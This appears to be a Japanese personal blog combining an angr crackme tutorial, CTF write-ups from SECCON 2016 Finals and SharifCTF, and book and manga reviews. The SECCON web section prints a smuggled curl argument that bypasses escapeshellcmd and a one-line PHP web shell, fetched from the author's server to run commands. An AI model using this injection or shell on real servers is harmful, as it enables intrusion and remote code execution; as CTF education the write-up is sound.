ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

angrの練習をする

pip install angr しておく

#include <stdio.h>

int main() {
    char str[32];
    printf("HELLO\n>");
    scanf("%31s", str);

    int a = *(int *)str;
    int b = *(int *)(str + 4);

    if (a != 0x41414141) {
        printf("BAD...\n");
    }
    else if (a + 0x01010202 == b) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }

}

これの CORRECT! を出させたい。

gcc hoge.c -o hoge -fno-pie -no-pie

objdumpなりで CORRECT が呼ばれるようなアドレスを探る。私の環境では 0x400614 だった。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

r = p.surveyors.Explorer(find=0x400614).run()

import code
code.interact(local=locals())

このコードは思考停止でこういうものだって憶えるほうが楽そうだったのでそうした。

python solve.py とするとすぐにインタラクティブシェルが起動する。

>>> r.found[0].state.posix.dumps(0)
'AAAACCBB\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd1\xd9\xd9\xd9\xd9\xd9\xd9\xd9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

この r...は本当に全然理解してないのでこういうものだということにしておく。

# ./hoge 
HELLO
>AAAACCBB
CORRECT!

#include <stdio.h>
#include <string.h>

int chk1(char*s) {
    if (strlen(s) != 8) {
        return 0;
    }

    int a =  *(int*)s;
    if (a != 0x41414142) {
        return 0;
    }

    return 1;
}

int chk2(char*name, char*pass) {
    int a = *(int*)pass;
    int b = *(int*)(pass+4);
    if (a+b == *(int*)(name+4)) {
        return 1;
    }

    return 0;
}

int main() {
    char str1[32];
    char str2[32];

    printf("HELLO\n>");
    scanf("%31s", str1);
    printf("\n>");
    scanf("%31s", str2);

    if (! chk1(str1)) {
        printf("BAD...\n");
    }
    else if (chk2(str1, str2)) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }
}

ちょっとむずかしそうにした。おんなじようにコンパイルする。

今回はfindじゃなくてavoidを指定してみる。どっちも指定することももちろんできる。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

r = p.surveyors.Explorer(avoid=(0x4006e0, 0x40070f)).run()
import code
code.interact(local=locals())

実行すると、きっとまた1path foundedかと思ったらdeadendが見つかった。

>>> r.deadended[0].state.posix.dumps(0)
'BAAAD\xc7\x92O\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00gU\x19J\xddqy\x05\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> r.deadended[0].state.posix.dumps(0).replace("\x01", "").split("\x00")
['BAAAD\xc7\x92O', '', 'gU\x19J\xddqy\x05', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']

なんかそれっぽい値が残った。標準入力に与えられないので、

# printf 'BAAAD\xc7\x92O\ngU\x19J\xddqy\x05' | ./hoge
HELLO
>
>CORRECT!

いろいろ試行錯誤しながらやってると本質以外のところがコードを読みにくくしてくけど気にしないことにした。こんどは入力の一部がファイルから与えられて単純にangrできない。

#include <stdio.h>
#include <string.h>


int chk1(char*s) {
    if (s[0] != 't') {
        return 0;
    }
    int i;
    int xs[] = {-5, -28, 0, 28, 6};
    for (i = 0; i < 5; i++) {
        if (s[i]+s[i+1]-s[i+2]-s[i+3] != xs[i]) {
            return 0;
        }
    }

    return 1;
}

int chk2(char*u, char*p) {
    int a = *(int*)u;
    int b = *(int*)p;
    if ((a^b) != 806226176) {
        return 0;
    }

    a = *(int*)(u+4);
    b = *(int*)(p+4);
    if ((a^b) != 235539743) {
        return 0;
    }

    return 1;
}

int main() {
    char str1[32];
    char str2[32];

    FILE *fp = fopen("username.txt", "r");
    fscanf(fp, "%31s", str1);
    printf("PASSWORD\n>");
    scanf("%31s", str2);
    
    if (!chk1(str1)) {
        printf("BAD...\n");
    }
    else if (chk2(str1, str2)) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }
}

chk1のところだけ切り出してみたところ takoyaki がstr1の要件を満たすところまでわかったとする(ほかにもstr1となる文字列はあるけど)。というわけでchk2を通過できるようなstr2だけを求めれば良い。というわけでchk1の呼び出しを飛ばして、chk2の直前から追いかけてみる。

gdbでchk2が呼ばれる直前までを実行してレジスタやスタックにどのような値が積まれているか確認する。

みたところ、スタックに入力が積まれ、rdi、rsiにstr1、str2のアドレスが入っている。angrでもそんな状態を作ってやる。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

s = p.factory.blank_state(addr=0x4007f4)

str1 = s.se.BVV("takoyaki")
str2 = s.se.BVS("hogehoge", 32*8)

str1p = 0x7fffffffdfd0
str2p = 0x7fffffffd000

s.memory.store(str1p, str1)
s.memory.store(str2p, str2)

s.regs.rdi = str1p
s.regs.rsi = str2p

pg = p.factory.path_group(s, immutable=False)
pg.explore(find=0x00000000004007fd)

import code
code.interact(local=locals())

大幅に変わってしまった。まず、blank_state(addr)で、開始時のeipを指定してやる。その戻り値でいろいろやったものからほげるとできる。

BVVは固定値で、BVSはangrが変更することがある値(というか求めたい値)。これらをmemory.storeで適当な位置に埋め込んでやる。一応gdbの値をみて適当なところにおいたけどそんなにこだわらなくても良さそう。

アドレスをrdiとかrsiにも入れて、引数にする。

実行はそんなに重くない。

>>> pg.found[0].state.se.any_str(str2)
'the_flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

SECCON 2016 FINALに行ってきた

2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。

CVE-2016-10033(みたいななまえ)

jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。 こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては “under construction” だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。

<?php
// by KeigoYAMAZAKI, 2017.01.23-
session_start();
if(! isset($_SESSION['css'])) {
  $_SESSION['css'] = './main.css';
}
if(isset($_GET['css'])) {
  $_SESSION['css'] = $_GET['css'];
}
if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
} elseif($_GET['menu'] == 'maintenance') {
  ?>
    <form action="?" method="GET">
    <input type="text" name="host" value="127.0.0.1">
    <input type="submit" name="tool" value="nmap">
    <input type="submit" name="tool" value="curl">
    </form>
  <?php
} elseif($_GET['tool'] == 'nmap') {
  $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} else {
  ?>
    <li><a href="?css=./main.css">main.css</a>
    <li><a href="?css=./main-test.css">main-test.css</a>
  <?php
}
?>

というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、師匠にはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました(これは私も気付ける話で、 http://blog.tokumaru.org/2012/04/php-escapeshellcmd-chase.html あたりを読んだことがありました)。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。

<?php

system($_GET['takoyaki']);

これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/* みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033} を得ました。

これだけにものすごい時間を取られて:(

welcome

jeopardyのrev問題でした。バイナリ https://transfer.sh/8vc1x/welcome (このさいとを教えてくれた @nkpoid くんありがとう) を渡されて、問題文は

./welcome SECCON{*********}
LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}

みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、師匠に聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語ソースコードにしてみました。

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char**argv) {
    int d = 0;
    char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
    int c = 0;
    char*buf;

    c = strlen(argv[1]);
    //while (c < strlen(argv[1])) {
    // a = argv[1][c];
    // esi = a;
    // c++;
    //}


    buf = (char*)malloc(strlen(argv[1]) << 5 + 1);
    c = 0;
    int i = 0;
    char *p;
    time_t t;
    int off;
    while (c < strlen(argv[1])) {
        i = 0;
        while (i <= 15) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        buf[d] = argv[1][c];
        d++;
        i = 0;
        while (i <= 14) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        c++;
    }
    buf[d] = 0;
    puts(buf);
}

しかしこれを実行しても welcome と同じ結果にはなりませんでした(welcomeをちゃんと解析した人がいたらどうなっていたのか教えてください)。こんな感じになります。

$ ./hoge SECCON{NOT_A_FLAG}
YYYYYYYYYYYYYYYYSYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYEYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYCYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYNYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYOYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYTYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY_YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYFYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYLYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYAYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYGYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}YYYYYYYYYYYYYYY

このYは実行ごとにIになったりしたのでランダムですが、与えられたwelcomeのようにぐちゃあっとはなりませんでした。しかしこれが却って良くて、あきらかにargv[1]の値が飛び飛びで出力されていることがとても良くわかりました。

そこでYYYY……をaとして a[::16] としたら YSYEYCYCYOYNY{YNYOYTY_YAY_YFYLYAYGY} になり、 a[::16][1::2] すると SECCON{NOT_A_FLAG} とargv[1]が復元できたので、この部分はちゃんと解析できていることを祈って、問題文の出力に対しても同様の操作を行ったところ、 SECCON{WELCOME_TO_SECCON_CTF_2016} が得られました。

writeup以外のこと

数日前から、 サーバからdefense keywordを抜いてくるscriptとか書いてましたが、そんなことをしている場合じゃなかった。defenseどころかattackすらできないで king of the hillではなくてjeopardyをやってしまった。なんかサーバがjavascriptで動的にdefense keywordを配置してるからとかいってseleniumを使うように修正したあの開始後一時間がものすごいもったいない。

学生チームとそれ以外のチームの力量差がありすぎてだめですね(dodododoは強かったのですごい)。まるで手が出ないので辛いし、終わったあとの懇親会でも話ができない(特に外国のチームなんかだと、話題は競技のことしかないのにレベルが違いすぎて話にならない)。自分が雑魚なのを棚に上げて言えば別れてたほうが心が辛くないです(まるで歯が立たなくて上を見るだけになったので、そういう意味ではいい経験だった)。

懇親会で高知高専の佐藤先生と少しだけお話した。高専セクコンという大会の運営とかをされていて高専でセキュリティまわりに尽力している人というイメージ。高専セクコンはとても良い試みだったし今年も開催してほしいのでその話をちょっとしたことをここに改めて書いておきます。

もっと精進しなければならない(画像は、今回の名札。立ち上がるときに机なんかにひっかかるインシデントがあったので硬い素材は名札に向かないことがわかった)。

映像研には手を出すな!

kosen14s読書会2ndは私が読んだ本をブログに書くための理由ということになりつつあります

kosen14s.github.io

(ブログに書いたのが読んだ本のすべてというわけでなく、布教したいような本をのっけてます。最近読んだのは「いなくなれ、群青」で、思ってたほどに重くありませんでした

いなくなれ、群青 (新潮文庫nex)

いなくなれ、群青 (新潮文庫nex)

閑話休題。今回とりあげるのは漫画で大童澄瞳(おおわらすみと)の「映像研には手を出すな!」です。今日出たばっかりのやつです。インターネットのどこかで一話が無料公開されていたので、それを読んで「これは買おう」と思ってました。作者さんのTwitterでも引っ張ってこようかと思ったけど転載不可って書かれていて、私は転載と引用の差をしらないのでつまり作者さんのTwitterあたりから辿ってください。この漫画の重要なファクタは全部一話にとりあえず入ってる気がするので一話を読んでみて面白かったらきっと続きも面白いでしょう。

映像研には手を出すな! 1 (ビッグコミックス)

映像研には手を出すな! 1 (ビッグコミックス)

このまんが、お話としては、アニメを作りたい女の子と女の子がであって最高にわくわくするという話なんですが、そのわくわくって私が憧れたり求めてたりしたものの一つで、読みたいお話なわけです。純粋に自分の想像妄想の世界を楽しめる、実現再現しようとしている、そんな様子は読んでいてとても楽しい気持ちにさせてくれます。

それから、大きな特徴があって、「セリフにパースがかかってる」とか「非現実の世界に入り込んだかと思えば現実が動いている」とか「最高に楽しいつくりこみがある」とか、なんというかわかりやすく「ただものじゃない」シグナルを出してくれてます。それが、一発屋のようには終わらなくて、ちゃんとアクションとかストーリーとか掛け合いと噛み合ってるのでずっと面白いです。

これだけわかりやすく面白くて尖っているので、気になった人は手にとってみてほしいです

ざるそば(かわいい)

kosen14s読書会の記事です。

kosen14s.github.io

高専生が異世界に飛ばされてしまう本と一緒にざるそば(かわいい)も買いました。

明らかにイロモノです。

つまるところ、ざるそばかわいい。ざるそばをざるそばするざるそばが可愛いということばかりが伝わってきました。あとは私の理解力を超えた。まじで人類にははやすぎた麺類小説なので挿絵で補完してほしくなりましたが明らかに最高の一冊です。

精進します。

すべてがFになる(というか森博嗣がわからないという話)

この記事は kosen14s読書会8日目の記事です。

kosen14s.github.io

1週したので2週目です。


すべてがFになるといえば森博嗣のデビュー作です。最近、「デボラ、眠っているのか?」を読んで森博嗣をまた読み返しています(本棚に「笑わない数学者」がなくて焦ってる)。

森博嗣、面白いですよね? ちょっとひねくれた考え方とか、事実に対してまっすぐなところとか、頭が良いところとか、共感が持てるというか、憧れます。こんな言動の人物になれたなら、私の人生は二重丸と言えそうです。

森博嗣、わからないですよね? とっても親切に、動機もトリックも解説してくれるのですが、心理描写もしてくれたり、あからさまに匂わせてくれたりするのですが、なんとなく、「わかった気にさせられてる」気がしませんか? 作中の何気ないあの一言が、あの一文が、わたしには読み切れていないのではないかと不安になります。もちろん、森博嗣の作品に限らず、どんな文章でもそれはそうなんだろうと思います。ただのクッションなのかもしれない絵kレド、実はなにかを伝えている一言、一コマなのではないかと疑ってかかればキリがないでしょう。でも、森博嗣の作品って、「すべてわかるようにつくられている」ような気さえしてきませんか? 私はします。するので、せっかく道筋までつけてくれているので、じゃあ提供されたものは全部読み尽くしたい、わかり尽くしたいと思ってしまいます。いつか、森博嗣の作品はすべてわかるって言える日がくるんでしょうか。

うーんなんかやっつけみたいになってしまいましたが、とにかく、私が「森博嗣は面白いけれど、その作品について私はわかりきれていないのではないか」と思っていることが解っていただければ、そして、森博嗣を読んで、もしかして共感してもらえれば(あるいは、すべてわかったという方はそれでも。そのときにはお知らせください!)、嬉しいかな、と思います。

Sharif7CTFのWriteUp

Harekazeというチームで野間マチコ役で、Sharif7CTFに参加していました。

Harekazeは651点で122位でした。出場チームは700で、そのうち1点より多い点を入れているのが、380なので、半分より少し上といったところです。日本チームのうちでは6位でした。

私は651点のうち300点にあたる二問を解いたのでWriteUpします。

StrangePDF

%PDF-1.7
1 0 obj 
<<
  /Type /Catalog
  /Pages 2 0 R
>>
endobj

2 0 obj
<<
  /Type /Pages
  /MediaBox [ 0 0 500 800 ]
  /Count 1
  /Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
  /Type /Page
  /Parent 2 0 R
  /Resources <<
    /XObject  <<
        /A 6 0 R
    >>
  >>
  /Contents 5  0 R
>>
endobj

4 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /BaseFont /Times-Roman
>>
endobj

5 0 obj 
<<
  /Length 359
>>
stream
 q
  10 0 0 10 250 400 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
  0.7 0.5 -0.5 0.7 0 0 cm
  /A Do
 Q
endstream
endobj

6 0 obj
  << /Type /XObject
     /Subtype /Form
     /FormType 1
     /BBox [ 0 0 1000 1000 ]
     /Matrix [ 1 0 0 1 0 0 ]
     /Resources <<
        /ProcSet [ /PDF ]
        /Font <<
          /F1 4 0 R
     >>
  >>
     /Length 68
  >>
stream
 BT
  /F1 4 Tf
  1 0 0 1 0 3 Tm
  (SharifCTF) Tj
 ET
endstream
endobj

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% set width to 2
% moveto 100 650
% lineto 100 620
% ...
% ..

7 0 obj
<</Length 283>>
stream
2 w
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l 
120 620 m 140 620 l 
120 615 m 120 595 l 
120 590 m 140 590 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
180 615 m 180 595 l 
160 590 m 180 590 l 
S
endstream
endobj

8 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

9 0 obj
<</Length 234>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

10 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

11 0 obj
<</Length 236>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj

12 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

13 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

14 0 obj
<</Length 257>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

15 0 obj
<</Length 318>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

16 0 obj
<</Length 254>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l
160 615 m 160 595 l 
S
endstream
endobj

17 0 obj
<</Length 194>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

18 0 obj
<</Length 215>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 620 m 180 620 l 
180 645 m 180 625 l
160 645 m 160 625 l  
180 615 m 180 595 l 
S
endstream
endobj


19 0 obj
<</Length 194>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj


20 0 obj
<</Length 237>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

21 0 obj
<</Length 236>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 
S
endstream
endobj

22 0 obj
<</Length 61>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

23 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
